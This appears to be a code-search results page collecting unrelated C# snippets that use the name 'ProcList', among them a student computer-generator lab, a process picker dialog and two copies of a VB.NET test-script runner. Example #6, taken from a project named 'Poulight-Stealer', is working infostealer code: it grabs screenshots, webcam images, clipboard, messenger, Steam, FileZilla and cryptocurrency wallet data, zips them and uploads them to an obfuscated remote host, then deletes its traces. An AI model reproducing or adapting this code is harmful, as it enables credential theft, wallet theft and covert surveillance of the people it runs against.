コード例 #1
0
ファイル: Computer.cs プロジェクト: Banan4ikk/Lab6_2
        public static Computer Generate()
        {
            ProcList   rndProc = (ProcList)Enum.GetValues(typeof(ProcList)).GetValue(random.Next(8));
            MNameList  rndName = (MNameList)Enum.GetValues(typeof(MNameList)).GetValue(random.Next(8));
            OSTypeList rndOS   = (OSTypeList)Enum.GetValues(typeof(OSTypeList)).GetValue(random.Next(6));

            return(new Computer(
                       rndProc,
                       rndName,
                       rndOS,
                       RAMList[random.Next(RAMList.Count)],
                       freqList[random.Next(freqList.Count)],
                       softwareList[random.Next(softwareList.Count)],
                       usersList[random.Next(usersList.Count)]
                       ));
        }
コード例 #2
0
        private void SelProcDialog_Load(object sender, EventArgs e)
        {
            UpdateList();
            ProcList.Items[ProcList.Items.Count - 1].EnsureVisible();

            foreach (ListViewItem item in ProcList.Items)
            {
                uint procId = uint.Parse(item.SubItems[2].Text, System.Globalization.NumberStyles.HexNumber);
                if (procId == SelectedProcess)
                {
                    item.Selected = true;
                    item.Focused  = true;
                    item.EnsureVisible();
                    ProcList.Select();
                }
            }
        }
コード例 #3
0
ファイル: Computer.cs プロジェクト: Banan4ikk/Lab6_2
        public static List <Computer> Generate100()
        {
            List <Computer> computers = new List <Computer>();

            for (int i = 0; i < 100; i++)
            {
                ProcList   rndProc = (ProcList)Enum.GetValues(typeof(ProcList)).GetValue(random.Next(8));
                MNameList  rndName = (MNameList)Enum.GetValues(typeof(MNameList)).GetValue(random.Next(8));
                OSTypeList rndOS   = (OSTypeList)Enum.GetValues(typeof(OSTypeList)).GetValue(random.Next(6));
                computers.Add(new Computer(
                                  rndProc,
                                  rndName,
                                  rndOS,
                                  freqList[random.Next(freqList.Count)],
                                  RAMList[random.Next(RAMList.Count)],
                                  softwareList[random.Next(softwareList.Count)],
                                  usersList[random.Next(usersList.Count)]
                                  ));
            }
            return(computers);
        }
コード例 #4
0
ファイル: ZoneSpider.cs プロジェクト: MewX/wenku10
        private void SetBanner()
        {
            WenkuListLoader PLL = ( WenkuListLoader )ProcList.FirstOrDefault(x => x is WenkuListLoader);

            if (PLL == null)
            {
                throw new InvalidFIleException();
            }

            Banner = PLL.BannerSrc;
            Name   = PLL.ZoneName;

            if (string.IsNullOrEmpty(Name))
            {
                Name = "[ Untitled ]";
                GStrings.ZoneNameResolver.Instance.Resolve(ZoneId, x =>
                {
                    Name = x;
                    NotifyChanged("Name");
                });
            }

            NotifyChanged("Name", "Banner");
        }
コード例 #5
0
        private void RunVBSScript(string filepath)
        {
            var starttime  = DateTime.Now;
            var script     = ReadScript(filepath);
            var references = new List <string> {
                "System.dll", "mscorlib.dll", "System.Core.dll", "System.Xml.dll", "System.Xml.Linq.dll", "System.Windows.Forms.dll"
            };

            references.AddRange(script.FindAll(@"^ *Reference ""(.*)""\s*$", 1));
            script = script.ReplaceAll(@"^ *Reference.*$", "");
            var source = Path.GetFileName(filepath) + _browser_str;

            Action <Exception, string> LogError = (ex, procedure) => {
                int line2 = (new StackTrace(ex, true)).GetFrame(0).GetFileLineNumber();
                var line  = ex.ToString();
                _results.Add(new Result {
                    Source = source, Procedure = procedure, ErrorLine = 0, ErrorDescription = ex.Message, IsError = true
                });
                Logger.LogError(procedure, source, 0, ex.Message.Trim('\r', '\n', ' '));
            };

            //Format parametrics methods
            script = script.ReplaceAll(@"\[With\((.*)\)\](\s+(Private |Public )?Sub )([\w_]+)", "Dim $4_dataset_ As Object() = {$1}$2$4");
            var mth_params_names = script.FindAll(@"([\w_]+)_dataset_", 1);

            var csc = new Microsoft.VisualBasic.VBCodeProvider(new Dictionary <string, string>()
            {
                { "CompilerVersion", "v3.5" }
            });

            var parameters = new CompilerParameters(references.ToArray());

            parameters.GenerateExecutable      = false;
            parameters.GenerateInMemory        = true;
            parameters.IncludeDebugInformation = true;

            var module_name = Regex.Match(script, @"^[\s\t]*Module\s+([\w_]+)", RegexOptions.Multiline | RegexOptions.IgnoreCase).Groups[1].Value;
            var results     = csc.CompileAssemblyFromSource(parameters, script);

            if (results.Errors.Count != 0)
            {
                foreach (CompilerError error in results.Errors)
                {
                    Logger.LogError(null, source, error.Line, error.ErrorText);
                }
                return;
            }

            //Parse script

            MethodInfo p_initialize = null;
            MethodInfo p_terminate  = null;
            MethodInfo p_setup      = null;
            MethodInfo p_teardown   = null;

            var p_list = new ProcList <MethodInfo>();

            var reg_pattern = new Regex(_pattern, RegexOptions.IgnoreCase);
            var type        = results.CompiledAssembly.GetType(module_name);
            var ass         = type.Module.Assembly;

            foreach (var method in type.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static))
            {
                if (method.ReturnType.FullName != "System.Void")
                {
                    continue;
                }
                switch (method.Name.ToLower())
                {
                case "initialize": p_initialize = method; break;

                case "terminate": p_terminate = method; break;

                case "setup": p_setup = method; break;

                case "teardown": p_teardown = method; break;

                default:
                    if (reg_pattern.IsMatch(method.Name))
                    {
                        if (Array.IndexOf(mth_params_names, method.Name) != -1)
                        {
                            var mth_params_data = (object[])type.GetField(method.Name + "_dataset_", BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static).GetValue(null);
                            foreach (var p in mth_params_data)
                            {
                                var mth_args = p is object[] ? (object[])p : new object[1] {
                                    p
                                };
                                if (mth_args.Length != method.GetParameters().Length)
                                {
                                    Logger.LogError(method.Name, source, script.GetLineNumber("Sub.\b" + method.Name + "\b"), string.Format("Invalide argument. Method <{0}> requires {1} argument(s)", method.Name, method.GetParameters().Length, mth_args.Length));
                                    return;
                                }
                                p_list.Add(method, mth_args);
                            }
                        }
                        else
                        {
                            p_list.Add(method, new object[0]);
                        }
                    }
                    break;
                }
            }

            //Run
            if (p_list.Count == 0)
            {
                _results.Add(new Result {
                    Source = source, Procedure = null
                });
            }
            else
            {
                var noparams = new object[0];
                try {
                    if (p_initialize != null)
                    {
                        p_initialize.Invoke(null, noparams);
                    }
                    foreach (var p in p_list)
                    {
                        try {
                            var p_name = p.Proc.Name + p.ParamsToString();
                            if (p_setup != null)
                            {
                                p_setup.Invoke(null, noparams);
                            }
                            try {
                                p.Proc.Invoke(null, p.Params);
                                _results.Add(new Result {
                                    Source = source, Procedure = p_name
                                });
                            } catch (Exception ex_r) { LogError(ex_r, p_name); }
                            try {
                                if (p_teardown != null)
                                {
                                    p_teardown.Invoke(null, noparams);
                                }
                            } catch (Exception ex_td) { LogError(ex_td, p_teardown.Name); }
                        } catch (Exception ex_su) { LogError(ex_su, p_setup.Name); }
                    }
                    try {
                        if (p_terminate != null)
                        {
                            p_terminate.Invoke(null, noparams);
                        }
                    } catch (Exception ex_ini) { LogError(ex_ini, p_terminate.Name); }
                } catch (Exception ex_ter) { LogError(ex_ter, p_initialize.Name); }
            }
            Logger.LogInfo(source, Logger.PopStdOut());
        }
コード例 #6
0
ファイル: XS.cs プロジェクト: x1234xx/Poulight-Stealer
    public bool Start(string[] Params)
    {
        Information.Start();
        ProcList.Parse();
        Thread.Sleep(new Random().Next(1, 5) * 100);
        if (Base64.Decode(Params[2]) == "1")
        {
            clipper.Start();
        }
        Action action = delegate
        {
            CBoard.Start();
        };

        try
        {
            if (base.InvokeRequired)
            {
                Invoke(action);
            }
            else
            {
                action();
            }
        }
        catch
        {
        }
        DesktopImg.Start();
        DFiles.Start();
        WebCam.Start();
        FZ.Start();
        Pidgin.Start();
        DS.Start();
        TG.Start();
        Skype.Start();
        Steam.Start();
        BTCQt.Start();
        BTCByte.Start();
        BTCDASH.Start();
        BTCETH.Start();
        BTCMON.Start();
        Thread.Sleep(new Random().Next(1, 5) * 1000);
        EGChromeC.Start();
        string text = null;

        text = $"{Buffer.path_ad}{GetRandom.String(null, 8)}";
        if (File.Exists(text))
        {
            File.Delete(text);
        }
        ZipFile.CreateFromDirectory(Buffer.path_l, text);
        try
        {
            if (!EntryPoint.activation)
            {
                Environment.FailFast("Program has been crashed");
            }
            using (WebClient webClient = new WebClient())
            {
                NameValueCollection nameValueCollection = new NameValueCollection();
                nameValueCollection.Add("_x_key_x_", Base64.Encode(EntryPoint.key));
                nameValueCollection.Add("zipx", Base64.Encode(File.ReadAllText(text, Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251)));
                nameValueCollection.Add("desktop", Base64.Encode(File.ReadAllText($"{Buffer.path_l}ScreenShot.png", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251)));
                nameValueCollection.Add("webcam", Base64.Encode(File.ReadAllText($"{Buffer.path_l}WebCam.jpg", Encoding.GetEncoding(1251)), Encoding.GetEncoding(1251)));
                nameValueCollection.Add("email", Params[0]);
                nameValueCollection.Add("caption", Exporter.Export("<title>", "</title>", Starter.FileData));
                nameValueCollection.Add("username", Base64.Encode(Environment.UserName));
                nameValueCollection.Add("c_count", Base64.Encode(Buffer.XBufferData[0]));
                nameValueCollection.Add("pcount", Base64.Encode(Buffer.XBufferData[1]));
                nameValueCollection.Add("acount", Base64.Encode(Buffer.XBufferData[10]));
                nameValueCollection.Add("cd_count", Base64.Encode(Buffer.XBufferData[11]));
                nameValueCollection.Add("steam", Base64.Encode(Buffer.XBufferData[6]));
                nameValueCollection.Add("fzilla", Base64.Encode(Buffer.XBufferData[2]));
                nameValueCollection.Add("tg", Base64.Encode(Buffer.XBufferData[3]));
                nameValueCollection.Add("dcord", Base64.Encode(Buffer.XBufferData[4]));
                nameValueCollection.Add("skype", Base64.Encode(Buffer.XBufferData[5]));
                nameValueCollection.Add("b-core", Base64.Encode(Buffer.XBufferData[7]));
                nameValueCollection.Add("b-byte", Base64.Encode(Buffer.XBufferData[13]));
                nameValueCollection.Add("b-d", Base64.Encode(Buffer.XBufferData[14]));
                nameValueCollection.Add("b-ethe", Base64.Encode(Buffer.XBufferData[15]));
                nameValueCollection.Add("b-mon", Base64.Encode(Buffer.XBufferData[16]));
                nameValueCollection.Add("avinstall", Base64.Encode(Buffer.XBufferData[18]));
                nameValueCollection.Add("_version_", Base64.Encode("3200"));
                while (true)
                {
                    try
                    {
                        if (Encoding.Default.GetString(webClient.UploadValues(string.Format("http://{0}", Base64.Decode(string.Format("{0}{1}{2}", Buffer.Sender, Buffer.Handler, "="))), nameValueCollection)) == "good")
                        {
                            goto IL_040a;
                        }
                    }
                    catch
                    {
                    }
                    Thread.Sleep(2000);
                }
            }
        }
        catch
        {
        }
        goto IL_040a;
IL_040a:
        try
        {
            Directory.Delete(Buffer.path_l, recursive: true);
        }
        catch
        {
        }
        try
        {
            File.Delete(text);
        }
        catch
        {
        }
        return(true);
    }
コード例 #7
0
ファイル: RunnerVbNet.cs プロジェクト: ubuetake/selenium-vba
        private void RunVBSScript(string filepath) {
            var starttime = DateTime.Now;
            var script = ReadScript(filepath);
            var references = new List<string> { "System.dll", "mscorlib.dll", "System.Core.dll", "System.Xml.dll", "System.Xml.Linq.dll", "System.Windows.Forms.dll" };
            references.AddRange(script.FindAll(@"^ *Reference ""(.*)""\s*$", 1));
            script = script.ReplaceAll(@"^ *Reference.*$", "");
            var source = Path.GetFileName(filepath) + _browser_str;

            Action<Exception, string> LogError = (ex, procedure) => {
                int line2 = (new StackTrace(ex, true)).GetFrame(0).GetFileLineNumber();
                var line = ex.ToString();
                _results.Add(new Result { Source = source, Procedure = procedure, ErrorLine = 0, ErrorDescription = ex.Message, IsError = true });
                Logger.LogError(procedure, source, 0, ex.Message.Trim('\r', '\n', ' '));
            };

            //Format parametrics methods
            script = script.ReplaceAll(@"\[With\((.*)\)\](\s+(Private |Public )?Sub )([\w_]+)", "Dim $4_dataset_ As Object() = {$1}$2$4");
            var mth_params_names = script.FindAll(@"([\w_]+)_dataset_", 1);

            var csc = new Microsoft.VisualBasic.VBCodeProvider(new Dictionary<string, string>() { { "CompilerVersion", "v3.5" } });

            var parameters = new CompilerParameters(references.ToArray());
            parameters.GenerateExecutable = false;
            parameters.GenerateInMemory = true;
            parameters.IncludeDebugInformation = true;

            var module_name = Regex.Match(script, @"^[\s\t]*Module\s+([\w_]+)", RegexOptions.Multiline | RegexOptions.IgnoreCase).Groups[1].Value;
            var results = csc.CompileAssemblyFromSource(parameters, script);

            if (results.Errors.Count != 0) {
                foreach (CompilerError error in results.Errors)
                    Logger.LogError(null, source, error.Line, error.ErrorText);
                return;
            }

            //Parse script

            MethodInfo p_initialize = null;
            MethodInfo p_terminate = null;
            MethodInfo p_setup = null;
            MethodInfo p_teardown = null;

            var p_list = new ProcList<MethodInfo>();

            var reg_pattern = new Regex(_pattern, RegexOptions.IgnoreCase);
            var type = results.CompiledAssembly.GetType(module_name);
            var ass = type.Module.Assembly;

            foreach (var method in type.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static)) {
                if (method.ReturnType.FullName != "System.Void") continue;
                switch (method.Name.ToLower()) {
                    case "initialize": p_initialize = method; break;
                    case "terminate": p_terminate = method; break;
                    case "setup": p_setup = method; break;
                    case "teardown": p_teardown = method; break;
                    default:
                        if (reg_pattern.IsMatch(method.Name)) {
                            if (Array.IndexOf(mth_params_names, method.Name) != -1) {
                                var mth_params_data = (object[])type.GetField(method.Name + "_dataset_", BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static).GetValue(null);
                                foreach (var p in mth_params_data) {
                                    var mth_args = p is object[] ? (object[])p : new object[1] { p };
                                    if (mth_args.Length != method.GetParameters().Length) {
                                        Logger.LogError(method.Name, source, script.GetLineNumber("Sub.\b" + method.Name + "\b"), string.Format("Invalide argument. Method <{0}> requires {1} argument(s)", method.Name, method.GetParameters().Length, mth_args.Length));
                                        return;
                                    }
                                    p_list.Add(method, mth_args);
                                }
                            } else {
                                p_list.Add(method, new object[0]);
                            }
                        }
                        break;
                }
            }

            //Run
            if (p_list.Count == 0) {
                _results.Add(new Result { Source = source, Procedure = null });
            } else {
                var noparams = new object[0];
                try {
                    if (p_initialize != null)
                        p_initialize.Invoke(null, noparams);
                    foreach (var p in p_list) {
                        try {
                            var p_name = p.Proc.Name + p.ParamsToString();
                            if (p_setup != null)
                                p_setup.Invoke(null, noparams);
                            try {
                                p.Proc.Invoke(null, p.Params);
                                _results.Add(new Result { Source = source, Procedure = p_name });
                            } catch (Exception ex_r) { LogError(ex_r, p_name); }
                            try {
                                if (p_teardown != null)
                                    p_teardown.Invoke(null, noparams);
                            } catch (Exception ex_td) { LogError(ex_td, p_teardown.Name); }
                        } catch (Exception ex_su) { LogError(ex_su, p_setup.Name); }
                    }
                    try {
                        if (p_terminate != null)
                            p_terminate.Invoke(null, noparams);
                    } catch (Exception ex_ini) { LogError(ex_ini, p_terminate.Name); }
                } catch (Exception ex_ter) { LogError(ex_ter, p_initialize.Name); }
            }
            Logger.LogInfo(source, Logger.PopStdOut());

        }